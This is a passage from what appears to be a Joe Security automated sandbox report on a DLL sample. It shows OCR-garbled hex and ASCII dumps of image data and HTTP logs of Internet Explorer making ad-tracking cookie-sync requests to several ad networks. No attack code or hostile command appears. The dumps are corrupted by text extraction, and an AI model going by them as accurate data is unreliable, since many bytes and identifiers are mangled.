Vary: ImageFormat

X-debug: /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/htt
p%3A%2F%2Fcdn.taboolasyndication.com%2Flibtrc%2Fstatic%2Fthumbnails%2F89b2a2c406225ac19893953e2f5313
77.pg

X-vcl-time-ms: 263

Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 06 06 06 06 07 06 07 08 08 07 Oa Ob
0a Ob 0a Of Oe Oc Oc Oe Of 16 10 11 10 11 10 16 22 15 19 15 15 19 15 22 1e 24 le 1c le 24 le 36 2a 26 26 2a 36 3e 34 32
34 3e 4c 44 44 4c 5f 5a 5f 7c 7c a7 01 06 06 06 06 07 06 07 08 08 07 Oa Ob 0a Ob Oa Of Oe Oc Oc Oe Of 16 10 11 10 11 10
16 22 1519 15 15 19 15 22 1e 24 1e 1c 1e 24 le 36 2a 26 26 2a 36 3e 34 32 34 3e 4c 44 44 4c 5f 5a 5f 7¢ 7c a7 ff c2 00
11 08 01 37 00 cf 03 01 22 00 02 11 01 03 11 01 ff c4 00 34 00 00 01 04 03 01 00 00 00 00 00 00 00 00 00 00 00 03 02 04
05 06 00 01 07 08 01 00 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 01 02 03 00 04 05 06 ff da 00 Oc 03 01 00 02 10
0310 00 00 00 bb a4 e9 5 f8 c0 92 69 e4 31 1d 14 93 74

Data Ascii: JFIF"'$$6*&&*6>424>LDDL_Z_||"'$$6*&&*6>424>LDDL_Z_||7"4i1t

Data Raw: 70 3c 5b c6 e0 b5 9b a7 5a 81 7d a0 6¢ 82 e0 {7 bl 76 df 30 70 80 8b 67 83 6e 5d b9 3c 8e 64 6e e6 43 30 9
95 66 6¢ Oa ae 62 e8 c7 39 87 5e 0d 98 f3 6e ac ¢8 56 a7 60 cc 4d 35 99 9d 71 d1 73 08 d8 33 36 c3 66 6d a4 e6 6d ff c4
0031 10 00 02 02 02 02 01 03 02 06 02 01 04 03 00 00 00 01 02 03 04 00 05 06 11 12 13 14 21 07 31 10 1522 32 41 51
232416 08 25 42 61 17 52 62 ff da 00 08 01 01 00 01 09 00 f1 c2 3f Oe b0 el 18 46 75 85 73 ac eb fO eb Oe 75 9d 61 5¢
eb 3acflceb 3acObf81c6cebl 861184611846 118573 al8573aceb3aceb3acflceb08ceb3c73aceb3a
c230el119d6 15c2 b9 d6 11 84 61 18 46 15 ce b3 ac eb 3a cf 1c 08 49 e8 06 89 97 f7 2f 8e 78 67 8e 75 85 73 ac eb 08
c2 30 8c eb3ac2b85708c230ae 11 85 73 c7 3a cf 1c fO

Data Ascii: p<[Z}lvOpgn]<dnCO0flb9"nV'M5qs36fmm1!1"2AQ#$%BaRb?Fusua\::aFss:<s:0aF:I/xgus0:W0s:

Data Raw: 53 c6 €8 e2 72 91 4d ee 6b a3 f1 eb ab 25 71 6a 72 2c 68 6e 3d 2d 5e 41 4e 2b d2 19 ed 1d 6d b7 82 b4 94 6¢
e5f9 63 b5 55 e0 2f 05 a9 ec c2 ad 96 62 13 40 f1 7 43 69 05 €8 2b f6 b7 b8 05 ab 1a 7b 73 7e 7b 5e a0 43 28 71 Oc 12
d8 60 98 1c a4 9d 10 08 ef 2f 42 90 4c 2c a4 82 14 76 f5 c4 75 af 5¢ f1 ¢8 2f 53 b5 f1 Oc cc 71 26 f1 27 e3 ea 47 0d 86 84
de b4 23 59 3b 97 6a 73 8b 6a eb 22 5a 8d 42 d6 bl 5¢ 99 1a 8d 99 cb 9a 28 97 a8 84 51 b1 92 c4 37 a2 5e da ba f1 8e
41 5f 4e 2c eb 6d 66 e3 ad a4 72 a8 c8 ed ad 88 7c c2 4e d2 79 c¢7 61 4b cd 14 6¢ 3d 57 ac f0 89 d2 cc cf ca 38 a6 b3 51
3c 7e 96 ce 39 ce be d2 5b 51 a9 el 9b €9 a2 b8 fa ed 96 db 5d 73 55 77 fd 88 ab 53 68 4a 12 fb 58 55 2¢ 34 81 a0 65 65
20 e4 d1 33 c6 ca 92 2c 26 c1 ee 47 68 8¢ 9e 99 93 2e c3

Data Ascii: SrMk%qjr,hn=-"AN+mlcU/b@ Ci+{s~{"C(q'/BL,vuV/Sq& G#Y;jsj"ZB\(Q7"A_N,mfr|NyaKI=W8Q<~9[Q]sU
WShJXU,4ee 3,&Gh.

Data Raw: 5d 7f ¢8 b4 9a 99 cc bb 9d aa 6f al 81 e6 4d 16 83 65 b1 92 dO 76 da 6d 0d bf 4a 39 6b d4 a7 24 af 65 91 67
9a 88 07 5b 15 94 8f 61 6e aa 6d 92 74 0d 4e b3 1f 98 9b 5d 51 be f1 fe 5f 02 fe d3 15 72 a7 af 53 99 7d 54 e5 9a 6e 53 66
ae a9 eb 7d 76 e4 €9 dO bl a3 fa 7f f5 11 b9 94 fb 38 24 d4 fc 67 88 cf 44 2b 9 2b 72 ae 33 5a 2d dc ec 83 dd 68 38 fa 34
15 62 da 72 4b 97 4b 46 2 f1 3d b8 99 46 aa c2 3 8d 00 dc 6b 5a da 0d 6b db d8 03 56 18 63 e2 e2 b5 45 b3 ba b7 Oc fc
6e 84 ae ba ad 26 cf 91 6¢c ed 80 96 b6 b2 5c 48 12 41 4e 9c b6 6¢ 4e aa 97 25 8d e3 41 fa de 08 ec bb 22 41 5e b7 0d e4
13 ¢7 34 7e 96 b3 8a 2d 1b 2d 66 5d 9d 6d 16 a6 b2 20 8b 59 f8 f2 ad 8f b1 d5 b4 69 9f 50 d3 d2 e4 c8 b8 1b 3e 82 1f fb df
255c 2b 81 3afb 31 53 9b bd 1d 7d c6 b6 6a 6¢

Data Ascii: JoMevmJ9k$eg[anmtN]Q_rS}TnSfiv8$gD++r3Z-h84brKKF=FkZkVCEN&\HANIN%A"AM~--fim YiP>%\+:1S}jl

Data Raw: al 78 f1 80 58 3b 48 d3 6b 66 fb c5 59 db 59 75 66 Ob 55 64 37 3e 6b d5 38 e6 23 b0 d6 49 d6 99 7f dd dd e0
8 12 1e fe 3b 8c 76 3e 63 fb 14 fd 6f de 6e c2 91 a4 94 66 d1 40 d6 ec 4e 6a d7 fe d3 ad ef 36 54 26 b3 7f 49 65 26 1d 79
f9 15 d6 f1 e7 a9 77 dc cb 74 27 db e0 46 98 22 4c 11 26 08 93 3¢ 13 1e bc 52 al 47 58 2a 6d 2a a9 15 aa 3d 2b 95 dd e7
6a f0 89 67 9e 4f 07 €3 d0 da a7 a9 10 42 f6 e8 5e bb 66 cc be €6 dd 59 eb da a4 92 4a cb 1c 9e ce 37 75 al 5d a5 ab dc
ba 32 4c 9b c2 58 92 4b 8f 15 77 ea 22 01 Oe 55 c0 50 92 7a 83 f5 6f 8b ae a6 ac ¢5 f7 9d 0d 56 d4 {7 ae 5f 1d 56 b4 {7 8
77 9e 43 fb 32 8 ff 00 02 5¢ 12 8¢ f5 47 f4 25 c1 29 3f c3 f3 1e 56 60 8e 3a 7b 74 €5 1c ce 27 f5 3f 32 af b2 bd 3e c1 6¢ df
8b 3 9d 4c 2c 48 bf 4f 64 bb 16 9b d9 25 ed

Data Ascii: xX;HKfYYufUd7>k8#l;v>conf@Nj6 T&le&ywt' F'L&<RGX*m*=+jgOB"fYJI7u]2LXKw"UPzoV_VwWC2\G%)?V :{t'?
2>|L,HOd%

Data Raw: 5¢c b9 70 40 60 68 Oc 06 03 01 9a 80 16 4c 1d 52 97 d2 3f ec 57 07 83 35 40 65 c0 60 30 18 Oc 06 03 1f 3a a0
f9 31 f3 3e 43 b9 db e2 2b 51 06 2b 58 b1 17 29 f6 20 60 60 30 18 Oc 06 03 35 50 b2 63 e6 3c 2f 6b 97 3a 77 f5 70 41 b7
10 64 f9 81 ae 03 01 9a c0 84 df 6b 96 3b 26 50 1a 23 06 00 f7 16 38 84 57 7b ec 4c 77 02 39 2a 03 42 fa 48 60 67 4b 94
328d f9 fb 08 de 13 37 84 d4 39 6b 69 e4 2d 63 dc 04 11 b9 a3 ea 21 d6 ac 87 ff 00 26 3c 6d 65 19 28 5d 83 3a 66 d0 74
c5 6b 00 cO ea de e8 f6 2b 70 ad 18 ce 04 76 26 3b bd 7e 3c 88 81 b2 20 63 bl ba 9e 21 aa c4 d4 a8 c0 10 6¢ cc ef 54 c1
b4 c1 47 4b 03 73 a6 7b 00 4c a0 03 71 72 30 3c df fb 80 47 c7 62 38 ab 83 49 d8 cf 17 ba 8c 9e 2c 9a c0 63 7c 81 Ob ed
30e3 7b 6f c4 8b fd dc fa 72 f5 a9 a0 44 5e 04 19 34 90

Data Ascii: \p@ 'hLR?W5@e’0:1>C+Q+X) " 05Pc</k:wpAdk;&P#8W{Lw9I*BH gK279ki-c!&<me(]:ftk+pv&;~< clITGKs
{Lgr0<Gb8l,c|0{orD"4
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kBytes
Timestamp transferred

2021-10-07 14:20:18 UTC 132

2021-10-07 14:20:18 UTC 133

2021-10-07 14:20:18 UTC 134

2021-10-07 14:20:18 UTC 136

Session ID Source IP

3 192.168.2.5
kBytes

Timestamp transferred

2021-10-07 14:20:11 UTC 4

2021-10-07 14:20:11 UTC 5

Session ID Source IP

4 192.168.2.5
kBytes

Timestamp transferred

2021-10-07 14:20:11 UTC 4

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49789

Direction

ouT

Source Port
49786

Direction
ouT

Data

Data Raw: 92 66 70 b7 49 bd d6 08 2c 00 34 85 c0 d5 c1 bb 7d 39 0a 21 65 d4 83 c9 b9 8f 3d f5 3e 8b f9 3a 14 d1 a4 07
d6 ce 87 9a b7 25 35 ed 1d 4f 7e f5 73 5b d0 92 5d b8 69 d7 bd 64 84 7e ad 2b c2 c2 ff 00 3a b4 73 Oc d1 5b af c2 6b c2
e2dd cl e4 68 Oc 44 06 cc 3a af 23 41 64 43 9e 2e cc 2b 5d 98 73 06 80 c4 al cf Oa ae ae dd 40 1d 0d 26 19 5f 40 ec 73
39 6d ac 06 c2 b8 98 f8 c8 96 19 6e 64 7c eb c8 b6 c1 4f 41 51 ba 38 5b c2 f7 2a 18 0f 10 b8 b1 a6 87 11 89 85 b8 72 11
7092 01 el 28 52 d4 7f 11 0f ab 94 5 2b a0 35 70 0d c7 cf cf cf d1 03 1f 87 05 b0 ef f1 f5 8c d3 23 a3 94 75 61 62 ac 34
22 ac dc 90 6a e6 8e 1e 16 da de d3 55 e4 02 f6 3b b5 78 48 b1 1f f6 35 68 66 37 8c f2 56 e6 b5 66 b8 2a 7e 16 15 69 53
c2 e3 b8 d2 b8 a7 Oe c3 8f 18 fd 6¢ 37 f1 0f 98 a5 79

Data Ascii: fpl,4}9!e=>:%50~s[]id~+:s[khD:#AdC.+]s@&_ @s9mnd|OAQ8[*rp(R+5p#uab4"jU;xH5hf7V*~iSI7y

Data Raw: b5 b9 30 17 a0 69 d3 f8 4e 9e 8e a2 bf b0 62 5e d3 a2 8f f9 13 1e 7d 95 a8 89 e3 5f 54 df 1a d7 ab 94 85 98 7c
2f c9 bb 5e 91 66 43 9a 23 dc 72 36 e4 68 71 d6 30 b2 ca cd a3 f4 ba f5 a6 09 c9 46 80 50 1d 6e 75 a2 fd 85 2a 03 ch 7a
2d 7e be 6b 1le aa 6¢ 68 91 cc 30 07 d0 bl ec 6d e7 cc dd 86 b4 c4 02 3c 1b 9f bf a4 24 82 64 29 2a 1d 8a 9a 73 0d 8 98
1c 57 61 ee 13 d4 51 72 c6 e4 01 61 42 fd b5 34 4f 76 dO 55 87 45 16 a2 7e 7e 60 47 cf 5a 65 f9 8a 06 ac 7a 9a 56 ee 0d
15 9 8f 33 29 1d 0d 2b 0f 96 53 4c 5b a0 d6 92 3c f1 97 Oc 75 d1 4e b6 a6 6¢ 4a 48 a4 97 3a 32 f3 5a ba 1d 43 72 f4 e3 c4
40 db ¢7 20 be a3 98 3c 8d 63 b0 07 92 5f 8d 15 60 f1 e8 39 2b f0 9f ec f5 8a ¢3 74 69 23 2a a7 e4 fb 1a 3f 9f e5 57 a2 3e
94 08 ea 35 a3 40 37 d8 f9 ca fc c5 02 29 9d bb

Data Ascii: 0iNb”}_T|/AfC#réhgOFPnu*z-~klhOm<$d)*sWaQraB4OVUE~~"GZezV3)+SL[<uNIJH:2ZCr@ <c_ 9+ti#*?W
>5@7)

Data Raw: 71 bc 6¢ 2a 32 10 80 82 24 25 8a 8e b7 ad 14 €8 d3 ¢8 10 Ob 54 44 8d 93 Ob 09 95 bf d0 0d 4f 20 bd 83 e2 a5
58 85 ff 00 86 3e 2b 56 13 0a 08 b9 48 a3 17 ef ab 99 1la e3 8 2b 1f 8b 03 56 19 9b 23 2b 6d bb 28 1f e5 a8 a0 65 36 72
0d 89 56 {7 ae 81 2f 41 65 85 b5 64 40 Ob 44 7b ef 4f 29 b8 9b Oc ee c5 b5 1b ae bc af 4c b8 79 e3 cb 21 23 44 91 36 bf e5
€8 06 e0 f9 3d cb 44 0d b3 59 ef 57 89 f0 24 af 2d Oc cf e6 fd 74 7f 93 57 4a 54 98 89 a3 69 Oe cc al 73 2d e9 4d 47 82 c3
el 1d 50 92 85 d9 99 ee da 6a 06 cb 52 e3 e6 9a 3b 1c e4 b8 28 d6 57 f0 ad 80 d0 d2 47 87 95 95 a2 6b 5e 41 1d b4 04
57 10 91 e2 49 24 03 fd 22 91 25 02 ea eb 19 50 d6 €5 73 bd 14 57 37 53 fb 39 2b 11 14 91 b6 ab 08 c8 a5 4e cd 75 11 of
eb 59 da fa 19 e4 32 10 7b da c7 b6 €6 91 2c 40 01 54

Data Ascii: qI*2$%TDO X>+VH+V#+m(e6rV/Aed@D{O)Ly!#D6=DYW$-tWJTis-MGPjR;(WGK"AWI$"%PsW7S9+N
uy2{,@T

Data Raw: 5f 52 b1 dc b5 b4 b3 5c d1 8c c0 8a ab 6¢ 30 f1 90 49 f8 fb d3 32 17 ce 00 c2 ec 4b 5c fb f4 33 32 2a 9b el 8f
26 cd c9 ea 2d ef 73 03 7c¢ 79 fa d6 19 b8 7c 5b 03 1b 80 78 a0 Oe 87 6b 57 93 f3 c9 84 48 55 4f 18 Oc c8 49 0d ec d7 93
32 caeae554c9a3050bcd3b57 9389 e2cefab3e9c6 980 2a25c434a857 11 c5 bb 8b 76 00 02 6a 29 5¢ b8 21
5a e0 Oc bb dc Ob 5e f4 f1 66 97 38 50 al 94 31 d0 95 dO 1c bd 8d 49 26 20 48 a8 c8 a5 72 3d f4 b8 d3 c3 5¢ 10 b8 a5 b3
99 73 10 7e 55 66 21 f4 53 7b €9 40 de d7 06 8d df 86 3b 1d 6b 45 2 94 8b f6 66 ad 87 e6 28 fb 0d 5b 31 ff 00 71 al ad f5
1f 5a 16 fc 7c 43 fc c2 b5 10 4b fe d3 5f f4 91 7e 55 64 c1 cc ee d1 5b da 2c 2c 0d 73 e8 2a 5¢ 4a 99 1d d6 39 3f 56 cd cd
4f 4e d4 7d 20 ca 77 06 bl fO e7 6¢ cd 6¢ 31 bb

Data Ascii: _R\I0I2K\32*&-s|y|[xkWHUOI2T;W*%4WVj)\IZM8P11& Hr=\s~UfIS{@;KEf([1qZ|CK_~Ud[,,s*\J9?VON} wil1

Destination IP Destination Port Process

35.244.174.68 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /710489.gif HTTP/1.1

Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&p
vid=77%2C117%2C184%2C188%2C203%2C226%2C246%2C2030%2C2033%2C3018&itype=HB-CM&rtime=69&http
s=1&usp_status=0&usp_consent=1&dcfp=gdpr,usp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: id.rlcdn.com

Connection: Keep-Alive

HTTP/1.1 451 Unavailable For Legal Reasons
Date: Thu, 07 Oct 2021 14:20:11 GMT
Content-Length: 0

Via: 1.1 google

Alt-Svc: clear

Connection: close

Destination IP Destination Port Process
3.127.209.187 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /ul_cb/sync?ssp=medianet&gdpr=0&gdpr_consent=&gdpr_pd=1 HTTP/1.1

Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&p
vid=77%2C117%2C184%2C188%2C203%2C226%2C246%2C2030%2C2033%2C3018&itype=HB-CM&rtime=69&http
s=1&usp_status=0&usp_consent=1&dcfp=gdpr,usp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: x.bidswitch.net

Connection: Keep-Alive

Cookie: tuuid=e3c6ah64-6227-451b-a0eb-80821c5205b0; c=1633616410; tuuid_|lu=1633616410

Page 74 of 83



kBytes
Timestamp transferred Direction Data

2021-10-07 14:20:11 UTC 5 IN HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache, no-store, must-revalidate
Date: Thu, 07 Oct 2021 14:20:11 GMT
Location: //sync.mathtag.com/sync/img?mt_exid=46&redir=%2F%2Fx.bidswitch.net%2Fsync%3Fdsp_id%3D80%26
user_id%3D%5BUUID%5D%26expires%3D30%26ssp%3Dmedianet%26bsw_param%3De3c6ab64-6227-451b-a0eb-
80821c5205b0&gdpr=0&gdpr_consent=
Set-Cookie: tuuid=e3c6ab64-6227-451b-a0eb-80821c5205h0; path=/; expires=Fri, 07-Oct-2022 14:20:11 GMT; domain=
.bidswitch.net; samesite=none; secure
Set-Cookie: tuuid_lu=1633616411; path=/; expires=Fri, 07-Oct-2022 14:20:11 GMT; domain=.bidswitch.net; samesit
e=none; secure
Content-Length: 0
Connection: Close

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.2.5 49792 76.223.111.131 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe
kBytes

Timestamp transferred Direction Data

2021-10-07 14:20:11 UTC 6 ouT GET /track/cmf/generic?ttd_pid=8m33zk4&ttd_tpi=1 HTTP/1.1

Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&p
vid=77%2C117%2C184%2C188%2C203%2C226%2C246%2C2030%2C2033%2C3018&itype=HB-CM&rtime=69&http
s=1&usp_status=0&usp_consent=1&dcfp=gdpr,usp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: match.adsrvr.org

Connection: Keep-Alive

2021-10-07 14:20:11 UTC 6 IN HTTP/1.1 302 Found
Date: Thu, 07 Oct 2021 14:20:11 GMT
Content-Type: text/html
Content-Length: 167
Connection: close
Cache-Control: private,no-cache, must-revalidate
Pragma: no-cache
Location: https://match.adsrvr.org/track/cmb/generic?ttd_pid=8m33zk4&ttd_tpi=1
X-AspNet-Version: 4.0.30319
Set-Cookie: TDID=b8ee5114-8694-4079-a979-819224d901d9; domain=.adsrvr.org; expires=Fri, 07-Oct-2022 14:20:11 G
MT; path=/; secure; SameSite=None
Set-Cookie: TDCPM=CAEYBSgCMgsIsMry3InghDoQBTgB; domain=.adsrvr.org; expires=Fri, 07-Oct-2022 14:20:11 GMT;
path=/; secure; SameSite=None
P3P: CP="NOI DSP COR CUR ADMo DEVo PSAo PSDo OUR SAMo BUS UNI NAV"

2021-10-07 14:20:11 UTC 7 IN Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 74
63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 62 2f 67 65 6e 65 72 69 63 3f 74 74 64 5f 70 69 64 3d
38 6d 33 33 7a 6b 34 26 74 74 64 5f 74 70 69 3d 31 22 3e 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e
6f 72 67 2f 74 72 61 63 6b 2f 63 6d 62 2f 67 65 6€ 65 72 69 63 3f 74 74 64 5f 70 69 64 3d 38 6d 33 33 7a 6b 34 26 74 74
64 5f 74 70 69 3d 31 3c 2f 61 3e
Data Ascii: Redirecting to: <a href="https://match.adsrvr.org/track/cmb/generic?ttd_pid=8m33zk4&ttd_tpi=1">https://match
.adsrvr.org/track/cmb/generic?ttd_pid=8m33zk4&ttd_tpi=1</a>

Session ID Source IP Source Port Destination IP  Destination Port Process

6 192.168.2.5 49793 76.223.111.131 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe
kBytes

Timestamp transferred Direction Data

2021-10-07 14:20:11 UTC 7 ouT GET /track/cmb/generic?ttd_pid=8m33zk4&ttd_tpi=1 HTTP/1.1

Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&p
vid=77%2C117%2C184%2C188%2C203%2C226%2C246%2C2030%2C2033%2C3018&itype=HB-CM&rtime=69&http
s=1&usp_status=0&usp_consent=1&dcfp=gdpr,usp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: match.adsrvr.org

Connection: Keep-Alive

Cookie: TDID=b8ee5114-8694-4079-a979-819224d901d9; TDCPM=CAEYBSgCMgsIsMry3InghDoQBTgB
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kBytes
Timestamp transferred Direction Data

2021-10-07 14:20:11 UTC 7 IN HTTP/1.1 302 Found
Date: Thu, 07 Oct 2021 14:20:11 GMT
Content-Type: text/html
Content-Length: 199
Connection: close
Cache-Control: private,no-cache, must-revalidate
Pragma: no-cache
Location: https://cs.media.net/cksync?cs=1&type=ttd&ovsid=b8ee5114-8694-4079-a979-819224d901d9
X-AspNet-Version: 4.0.30319
Set-Cookie: TDID=b8ee5114-8694-4079-a979-819224d901d9; domain=.adsrvr.org; expires=Fri, 07-Oct-2022 14:20:11 G
MT; path=/; secure; SameSite=None
Set-Cookie: TDCPM=CAEYBSABKAIlyCwiwyvLciegEOhAFOAE.; domain=.adsrvr.org; expires=Fri, 07-Oct-2022 14:20:11
GMT; path=/; secure; SameSite=None
P3P: CP="NOI DSP COR CUR ADMo DEVo PSAo PSDo OUR SAMo BUS UNI NAV"

2021-10-07 14:20:11 UTC 8 IN Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 73 2e
6d 65 64 69 61 2e 6e 65 74 2f 63 6b 73 79 6e 63 3f 63 73 3d 31 26 74 79 70 65 3d 74 74 64 26 6f 76 73 69 64 3d 62 38 65
65 35 31 31 34 2d 38 36 39 34 2d 34 30 37 39 2d 61 39 37 39 2d 38 31 39 32 32 34 64 39 30 31 64 39 22 3e 68 74 74 70
73 3a 2f 2f 63 73 2e 6d 65 64 69 61 2e 6e 65 74 2f 63 6b 73 79 6e 63 3f 63 73 3d 31 26 74 79 70 65 3d 74 74 64 26 6f 76
7369 64 3d 62 38 65 65 35 31 31 34 2d 38 36 39 34 2d 34 30 37 39 2d 61 39 37 39 2d 38 31 39 32 32 34 64 39 30 31 64
39 3c 2f 61 3e
Data Ascii: Redirecting to: <a href="https://cs.media.net/cksync?cs=1&type=ttd&ovsid=b8ee5114-8694-4079-a979-8
19224d901d9">https://cs.media.net/cksync?cs=1&type=ttd&ovsid=b8ee5114-8694-4079-a979-819224d901d9</a>

Session ID Source IP Source Port Destination IP Destination Port Process
7 192.168.2.5 49797 185.29.132.241 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe
kBytes
Timestamp transferred Direction Data
2021-10-07 14:20:12 UTC 8 ouT GET /sync/img?mt_exid=46&redir=%2F%2Fx.bidswitch.net%2Fsync%3Fdsp_id%3D80%26user_id%3D%5BU

UID%5D%26expires%3D30%26ssp%3Dmedianet%26bsw_param%3De3c6ab64-6227-451b-a0eb-80821c5205b0&
gdpr=0&gdpr_consent= HTTP/1.1

Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://contextual. media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&p
rvid=77%2C117%2C184%2C188%2C203%2C226%2C246%2C2030%2C2033%2C3018&itype=HB-CM&rtime=69&http
s=1&usp_status=0&usp_consent=1&dcfp=gdpr,usp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Connection: Keep-Alive

Host: sync.mathtag.com

2021-10-07 14:20:12 UTC 9 IN HTTP/1.1 302 Moved Temporarily
Date: Thu, 07 Oct 2021 14:20:12 GMT
Content-Type: image/gif
Content-Length: 0
Connection: close
Server: MT3 3984 0e3af3b master zrh-pixel-x27 config:1.0.0
Cache-Control: no-cache
P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
set-cookie: uuid=7e4f615f-021c-4400-97d1-71d777cb5972; domain=.mathtag.com; path=/; expires=Fri, 04-Nov-2022 1
4:20:12 GMT; SameSite=None; Secure
location: https://x.bidswitch.net/sync?dsp_id=80&user_id=7e4f615f-021¢c-4400-97d1-71d777cb5972&expires=30&ssp=m
edianet&bsw_param=e3c6ab64-6227-451b-a0eb-80821c5205b0&gdpr=0&gdpr_consent=
Expires: Thu, 07 Oct 2021 14:20:11 GMT

Session ID Source IP Source Port Destination IP  Destination Port Process
8 192.168.2.5 49801 3.127.209.187 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe
kBytes
Timestamp transferred Direction Data
2021-10-07 14:20:12 UTC 10 ouT GET /sync?dsp_id=80&user_id=7e4f615f-021c-4400-97d1-71d777chb5972&expires=30&ssp=medianet&bsw_param=e

3c6ab64-6227-451b-a0eb-80821c5205b0&gdpr=0&gdpr_consent= HTTP/1.1

Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&p
vid=77%2C117%2C184%2C188%2C203%2C226%2C246%2C2030%2C2033%2C3018&itype=HB-CM&rtime=69&http
s=1&usp_status=0&usp_consent=1&dcfp=gdpr,usp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Connection: Keep-Alive

Host: x.bidswitch.net

Cookie: tuuid=e3c6ab64-6227-451b-a0eb-80821c5205b0; c=1633616410; tuuid_lu=1633616411
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kBytes
Timestamp transferred Direction Data

2021-10-07 14:20:12 UTC 10 IN HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache, no-store, must-revalidate
Date: Thu, 07 Oct 2021 14:20:12 GMT
Location: //contextual.media.net/cksync.php?cs=1&type=bs&ovsid=e3c6ab64-6227-451b-a0eb-80821c5205b0&
gdpr=0&gdpr_consent=&gdpr_pd=
Set-Cookie: cs=; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT; domain=.bidswitch.net; samesite=none; secure
Set-Cookie: bsw_origin_init=; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT; domain=.bidswitch.net; samesite=none;
secure
Content-Length: 0
Connection: Close

Session ID Source IP Source Port Destination IP Destination Port Process

9 192.168.2.5 49804 18.156.0.31 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe
kBytes

Timestamp transferred Direction Data

2021-10-07 14:20:12 UTC 11 ouT GET /ups/58222/sync?_origin=1&uid=2766180096684126000V10 HTTP/1.1

Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&p
vid=77%2C117%2C184%2C188%2C203%2C226%2C246%2C2030%2C2033%2C3018&itype=HB-CM&rtime=69&http
s=1&usp_status=0&usp_consent=1&dcfp=gdpr,usp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Connection: Keep-Alive

Host: ups.analytics.yahoo.com

2021-10-07 14:20:12 UTC 11 IN HTTP/1.1 302 Found
Date: Thu, 07 Oct 2021 14:20:12 GMT
Content-Length: 0
Strict-Transport-Security: max-age=31536000
P3P: CP=NOI DSP COR LAW CURa DEVa TAla PSAa PSDa OUR BUS UNI COM NAV
Location: https://ups.analytics.yahoo.com/ups/58222/sync?_origin=1&uid=2766180096684126000V10&verify=true
Age: 0
Connection: close
Server: ATS/7.1.2.138
Set-Cookie: A3=d=AQABBBWCX2ECEPuVj2RIU40d0aG8sPO8M2EFEgQEBAQFTYGF0oYQAAAAAA eMAAA&
S=AQAAA0UTZ_8WaBiOhZfRZ-z61xY; Expires=Fri, 7 Oct 2022 20:20:12 GMT; Max-Age=31557600; Domain=.yahoo.com;
Path=/; SameSite=None; Secure; HttpOnly
Set-Cookie: B=62ctsudglu0gs&b=3&s=uo; Expires=Fri, 7 Oct 2022 20:20:12 GMT; Max-Age=31557600; Domain
=.yahoo.com; Path=/

Code Manipulations

Statistics

Behavior

)

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 5048 Parent PID: 5940

General

Start time: 16:19:54

